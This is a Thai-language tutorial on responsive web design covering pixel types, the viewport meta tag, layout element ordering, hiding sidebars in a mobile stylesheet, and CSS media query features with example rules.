    Physical Pixels คือ จำนวน pixels จริงๆ ตาม spec ของ Device นั้นๆ  เช่น iPhone3 เท่ากับ 320×480 ส่วน iPhone4 เท่ากับ 640×960 เป็นต้น

    ส่วน CSS Pixels นั้นเป็นส่วนที่ใช้ใน CSS declarations ตัวอย่าง เรากำหนด width:320px หรือ font-size:16px ค่า pixels ในส่วนนี้จะหมายถึง CSS Pixels ซึ่งโดยปกติแล้ว CSS Pixels จะมีค่าเท่ากับ Physical Pixels ถ้าเราไม่ได้ Zoom หน้าจอ แต่ถ้าเรา Zoom เข้า ภาพจะขยายใหญ่ขึ้น นั่นเป็นเพราะว่าเว็บบราวเซอร์จะไปขยาย CSS Pixels ให้มีขนาดใหญ่ขึ้น ในทางกลับกัน ถ้าเรา Zoom ออก CSS Pixels ก็จะมีขนาดเล็กลง ส่งผลให้ภาพที่ได้มีขนาดเล็กลง ซึ่งนี่ก็เป็นหลักการเดียวกับการเปลี่ยน Resolution ของหน้าจอ PC ครับ สมมติหน้าจอเรามี Physical Pixels เป็น 1280×1024 หากเราเปลี่ยน Resolution เป็น 1024×768 สิ่งที่เปลี่ยนไปก็คือ CSS Pixels นั่นเองครับ

    สุดท้ายคือ Device Pixels ในสมัยก่อน Device Pixels จะมีค่าเท่ากับ Physical Pixels เช่น iPhone3 จะมี Physical Pixels และ Device Pixels เท่ากันคือ 320×480 แต่ต่อมา iPhone4 ได้ปรับปรุงหน้าจอให้มีความละเอียดมากขึ้น หรือที่เรียกว่า Retina Display ซึ่งจะทำให้ iPhone4 มี Physical Pixels เพิ่มขึ้นเป็น 2 เท่า คือ 640×960 ซึ่งหมายความว่า เว็บที่แสดงผลได้ดีใน iPhone3 กลับมีขนาดเล็กลงใน iPhone4 ทั้งๆ ที่จริงๆ แล้ว ขนาดหน้าจอของ iPhone3 และ iPhone4 นั้นเท่ากัน ปัญหานี้สามารถแก้ง่ายๆ ด้วย Device Pixels ครับ เนื่องจาก Device Pixels นั้นเป็นเหมือน Pixels จำลอง ที่จะช่วยให้ application สามารถกำหนดขนาดขององค์ประกอบต่างๆ ได้ตรงกับความเหมาะสมในมุมมองของผู้ใช้งาน ซึ่งค่านี้ไม่ได้เพิ่มตาม Physical Pixels แต่จะเพิ่มตามขนาดของหน้าจอ(Screen size) ครับ

    โดยวิธีแก้ไขปัญหาคือการอ้างอิง Meta Tag ดังต่อไปนี้ในหน้าเว็บไซต์ของเรา

    <meta name="viewport" content="width=device-width; initial-scale=1.0">

    โค็ด html ด้านบน เป็นการกำหนดให้ viewport ของเราใช้ค่า Device Pixels แทน CSS Pixels และยังกำหนดให้ระดับการซูมเบื้องต้นเป็น 100% อีกด้วย อ่านเพิ่มเติม
    Custom Layout Structure
    ในส่วนนี้เราจะกล่าวถึงเรื่องของการจัดวางโครงสร้างของ Layout หรือการจัดลำดับความสำคัญของ element ต่างๆ ซึ่งเป็นสิ่งจำเป็นในการทำงานของเว็บแบบ Responsive โดยที่ไฟล์ css นั้นไฟล์หลัก จะมีการประกาศในส่วนของ element หลัก หรือ element ที่ใช้ร่วมกันทั้งหน้า ไว้ส่วนบนสุดของไฟล์ ตามมาด้วย ลำดับของ element ดังนี้ #wrapper–> #content–> #sidebar–> #nav และสามารถสร้างไฟล์ css สำหรับรองรับอุปกรณ์ขนาดเล็ก ให้สืบทอดคุณสมบัติมาจากไฟล์หลักอีกชั้นนึง

    ตัวอย่าง การเรียง Element ที่ไม่เหมาะสม คือมีการวางตำแหน่งของ Sidebar ก่อน content และจัดเรียงแบบ float: right เพื่อให้วางอยู่ในตำแหน่งขวามือของหน้าจอ ซึ่งจะเกิดปัญหากับการใช้งานบนอุปกรณ์ Smartphone ที่มีพื้นที่เพียง คอลัมน์เดียว ส่งผลให้ตำแหน่ง Sidebar เปลียนไปจากเดิมเป็นอยู่ในตำแหน่งบนสุดก่อนเข้าถึงเนื้อหาในส่วนของ content ซึ่งทำให้ผู้ใช้ไม่สะดวกต่อการใช้งานและการเข้าถึงเนื้อหาในเว็บไซต์ ดังนั้นการวางลำดับ Element ให้ถูกต้องถือเป็นเรื่องที่สำคัญอีกอย่างหนึ่งในการออกแบบเว็บไซต์
    Showing or Hiding Content
    เป็นอีกหนึ่งเทคนิคในการออกแบบ Responsive Web ช่วยในการจัดการเกี่ยวกับข้อความต่างๆในแต่ละ content เพราะในการแสดงผลขนาดใหญ่ จะประกอบไปด้วย content ข้อความหลายๆส่วน เมื่อนำมาแสดงผลในหน้าจออุปกรณ์ขนาดเล็ก contentที่เยอะจนเกินไปทำให้ผู้ใช้งานไม่สะดวกในการอ่านข้อความ จึงจำเป็นที่ต้องทำการซ่อน-แสดงเฉพาะ content ที่สำคัญๆเท่านั้น

    Display: none;

    เป็นคุณสมบัติที่มีมาในแท็กต่างๆของ HTML ใช้ในการซ่อน-แสดงแท็กต่างๆได้ โดยนำมาประยุกต์ใช้กับ media query ดังนี้

    หน้าจอหลัก

    <link href="style.css " rel="stylesheet" />
        <link href="mobile.css " rel="stylesheet" media="screen and (max-width: 600px)" />
    <p><a href="#">Left Sidebar Content</a> | <a href="#">Right Sidebar Content</a></p>
    
    <div id="content">
    <h2>Main Content</h2>
    </div>
    
    <div id="sidebar-left">
    <h2>A Left Sidebar</h2>
    
    </div>
    <div id="sidebar-right">
    <h2>A Right Sidebar</h2>
    </div>

    โค็ดในไฟล์ตัวหลัก style.css

    #content{
              width: 54%;
              float: left;
              margin-right: 3%;
    }
    #sidebar-left{
              width: 20%;
              float: left;
              margin-right: 3%;
    }
    #sidebar-right{
              width: 20%;
              float: left;
    }
    .sidebar-nav{display: none;}

    โค็ดในไฟล์ mobile.css

    #content{
              width: 100%;
    }
    #sidebar-left{
              display: none;
    }
    #sidebar-right{
              display: none;
    }
    .sidebar-nav{display: inline;}

    จากโค็ดด้านบน เมื่อมีการเรียกใช้งานในส่วนของหน้าจอหลัก จะมีการอ้างอิงไปยัง style.css กรณีที่หน้าจอแสดงผลเป็นคอมพิวเตอร์ จะทำการซ่อนในส่วนของ .sidebar-nav และแสดงผล sidebar-left กับ sidebar-right แต่ในกรณีที่เปิดด้วยอุปกรณ์มือถือ จะอ้างอิงไปยัง mobile.css ซึ่งการแสดงผลจะสลับกัน คือ แสดงในส่วนของ .sidebar-nav และทำการซ่อน sidebar-left กับ sidebar-right

    สิ่งที่ควรคำนึงก่อนออกแบบเว็บให้เป็น Responsive

    แน่นอนว่า responsive design นั้น  ไม่ได้มีแค่การเขียน CSS Media Query อย่างเดียว  แนวคิดการออกแบบหน้าตาเว็บไซต์ให้สามารถใช้งานได้บนทุกอุปกรณ์นั้นเป็นอีกข้อที่มีความจำเป็นอย่างยิ่ง

    1. ออกแบบโดยคำนึงถึงอุปกรณ์พกพาเป็นที่ตั้ง

    เราควรจะออกแบบเว็บโดยคำนึงถึงอุปกรณ์พกพาต่างๆ (เช่นโทรศัพท์มือถือและTablet) เป็นที่ตั้ง  โดยให้ Feature ที่สำคัญบนเว็บ  สามารถแสดงผลและใช้งานได้เป็นอย่างดีบนอุปกรณ์พกพา  แล้วค่อยคิดจัดวางรูปแบบและปรับปรุงให้ใช้งานได้บนคอมพิวเตอร์ในภายหลัง

    อีกอย่างที่ต้องคำนึงถึงคือ  Feature ที่คนเข้าชมสามารถใช้งานได้คอมพิวเตอร์  เขาก็ต้องการใช้มันบนโทรศัพท์เช่นกัน  ดังนั้นเมื่อปรับปรุงให้ใช้บนคอมพิวเตอร์ได้แล้ว  อย่าลืมคำนึงถึงจุดนี้ด้วย  Feature ที่เพิ่มเข้ามาบนเว็บสำหรับคอมพิวเตอร์  บนมือถือก็ควรใช้งานได้ด้วยเช่นกัน

    2. ลำดับความสำคัญของ element ต่างๆ ให้ถูกต้อง

    หลายๆ ครั้งที่เราเขียนโค็ด  โดยไม่คำนึงถึงลำดับความสำคัญของ element ต่างๆ  ตัวอย่างที่มักจะเจอกันบ่อยๆ คือ sidebar ที่บางคนเอาโค็ดของ sidebar มาไว้ก่อน content และจัดการ float:right เพื่อให้มันไปอยู่ขวามือแทน

    ปัญหามักจะเกิดขึ้นเมื่อเราทำเว็บให้เปิดได้บนมือถือ  ที่ทุกอย่างมักจะกลับไปเหลือเพียงคอลัมน์เดียว  ถึงตอนนั้นเจ้า sidebar ที่เคยอยู่ขวามือ  มันก็จะมาอยู่ข้างบนก่อนเข้าถึงเนื้อหา  ทำให้ผู้ใช้ต้องลากยาวๆ ผ่าน sidebar ไปก่อน  ถึงจะเห็นเนื้อหา  อย่างนี้ไม่ดีกับผู้ใช้แน่นอนครับ  ดังนั้น  การวางลำดับ element ต่างๆ ให้ถูกต้อง  ก็เป็นเรื่องที่สำคัญอีกเรื่องหนึ่ง

    3. บนอุปกรณ์พกพา ต้องใช้พื้นที่แสดงผลให้คุ้มค่า

    แม้ปัจจุบันมือถือจะแข่งกันแบ่งขนาดหน้าจอ (จนเริ่มแยกมือถือกับแท็บเล็ตไม่ออกแล้ว) แต่ความจริงคือพื้นที่ใช้งานบนหน้าจอมือถือก็ยังถือว่าน้อยกว่าบนคอมพิวเตอร์อยู่มาก ดังนั้นขอให้ลืมการออกแบบที่ให้ที่ว่างที่เยอะเกินไปได้เลยครับ เพราะเมื่อเว็บถูกเปิดบนโทรศัพท์ เมื่อเนื้อหาต่างๆ เหลือแค่คอลัมน์เดียว การมีที่ว่างเยอะๆ จะทำให้ผู้ใช้เหนื่อยกับการสกรอลข้ามที่ว่างนั้นจนกว่าจะถึงเนื้อหาไปเสีย เปล่าๆ (ลักษณะเดียวกันกับการจัดลำดับ element ที่ไม่ถูกต้องนั่นเอง)

    4. ลดการใช้งานไฟล์ขนาดใหญ่

    การใช้งานเว็บบนอุปกรณ์พกพา (โดยเฉพาะโทรศัพท์มือถือ) นั้นล้วนเชื่อมต่อจาก EDGE หรือ 3G กันเป็นส่วนใหญ่ ซึ่งนอกจากความเร็วที่ค่อนข้างต่ำเมื่อเทียบกับ ADSL ตามบ้านแล้ว ยังติดปัญหา Fair Usage Policy (หรือที่เรียกว่า FUP) กันอีกด้วย ทำให้ผู้ใช้หลายคนค่อนข้างเหงื่อตก เมื่อต้องเปิดเว็บที่มีขนาดเป็นสิบเม็กกะไบต์

    Media Queries

    คือตัวช่วยตรวจสอบคุณสมบัติของ Device ที่ใช้ในการเข้าเว็บไซต์ของเรา เพื่อที่ว่าเราจะได้ออกแบบและกำหนดรูปแบบการแสดงผลของเว็บไซต์เราให้เหมาะกับ Device นั้นๆคำสั่งต่างๆที่ใช้งานร่วมกับ Media Query

    Width ใช้ตรวจสอบความกว้างของพื้นที่แสดงผล โดยวัดจากความกว้างของพื้นที่ ที่ใช้แสดงผลเว็บไซต์ เช่น ความกว้างของ Browser โดยจะวัดรวมเอาพื้นที่ของ Scrollbar ด้วย (ถ้ามี)

    Height ใช้ตรวจสอบความสูงของพื้นที่แสดงผล โดยวัดจากความสูงของพื้นที่ ที่ใช้แสดงผลเว็บไซต์ เช่น ความสูงของ Browser โดยจะวัดรวมเอาพื้นที่ของ Scrollbar ด้วย (ถ้ามี)

    ตัวอย่างการเขียนตรวจสอบ width และ height

    <link rel="stylesheet" media="print and (min-width: 25cm)" href="http://…" />
    @media screen and (min-width: 400px) and (max-width: 700px) {…}

    Device-width ใช้ตรวจสอบความกว้างของอุปกรณ์แสดงผลทั้งหมด โดยวัดจากความกว้างของจออุปกรณ์ ที่ใช้แสดงผลเว็บไซต์ เช่น ถ้าจอแสดงผลอยู่ที่ 640 x 960 ก็จะวัดเอาความกว้างคือ 640px

    Device-height ใช้ตรวจสอบความสูงของชอุปกรณ์แสดงผลทั้งหมด โดยวัดจากความสูงของจออุปกรณ์ ที่ใช้แสดงผลเว็บไซต์ เช่น ถ้าจอแสดงผลอยู่ที่ 640 x 960 ก็จะวัดเอาความสูงคือ 960px

    ตัวอย่างการเขียนตรวจสอบ device-width และ device-height

    <link rel="stylesheet" media="screen and (device-height: 600px)" />
    @media screen and (device-width: 800px) { … }

    Orientation ใช้ตรวจสอบการหมุนของจอว่าอยู่ในแนวตั้ง หรือ แนวนอน โดยคำสั่งนี้จะทำงานกับ ภาพ Bitmap เท่านั้น

    ตัวอย่างการเขียนตรวจสอบ orientation

    @media all and (orientation: portrait) {…}
    @media all and (orientation: landscape) {…}

    Aspect-ratio ใช้ตรวจสอบสัดส่วน ของ ภาพ Bitmap ที่แสดงผลบนหน้าจอเท่านั้น

    Device-aspect-ratio ใช้ตรวจสอบสัดส่วนการแสดงผล ของอุปกรณ์ว่า ขณะนี้จอนั้นแสดงผล ภาพ Bitmap อยู่ที่เท่าไหร่ เช่น 4:3, 16:9, 1280:720 เป็นต้น

    ตัวอย่างการเขียนตรวจสอบ aspect-ratio และ device-aspect-ratio

    @media screen and (device-aspect-ratio: 16/9) { … }
    @media screen and (device-aspect-ratio: 32/18) { … }
    @media screen and (device-aspect-ratio: 1280/720) { … }
    @media screen and (device-aspect-ratio: 2560/1440) { … }

    Color ใช้ตรวจสอบ การแสดงสีของอุปรณ์นั้นๆ (Bits per Pixel) หากเป็นอุปกรณ์ ที่ไม่ได้แสดงผลเป็นสี ค่าจะกลายเป็น 0

    Monochrome ใช้ตรวจสอบอุปกรณ์ขาวดำ (Bits per Pixel) หากเป็นอุปกรณ์ที่แสดงผลแบบสี ค่าจะกลายเป็น 0

    ตัวอย่างการเขียนตรวจสอบ color และ monochrome

    @media all and (color) { … }
    @media all and (min-color: 1) { … }
    @media all and (monochrome) { … }
    @media all and (min-monochrome: 1) { … }
    <link rel="stylesheet" media="print and (color)" href="http://…" />  
    <link rel="stylesheet" media="print and (monochrome)" href="http://…" />

    Resolution ใช้ตรวจสอบความระเอียดของ ภาพ Bitmap ที่แสดงบนอุปกรณ์นั้นๆ

    ตัวอย่างการเขียนตรวจสอบ Resolution

    @media print and (min-resolution: 300dpi) {…}

     

    อ้างอิง :

    Responsive Web Design: What It Is and How To Use It
    พื้นฐานการทำเว็บแบบ Responsive
    มาทำความรู้จัก Media Queries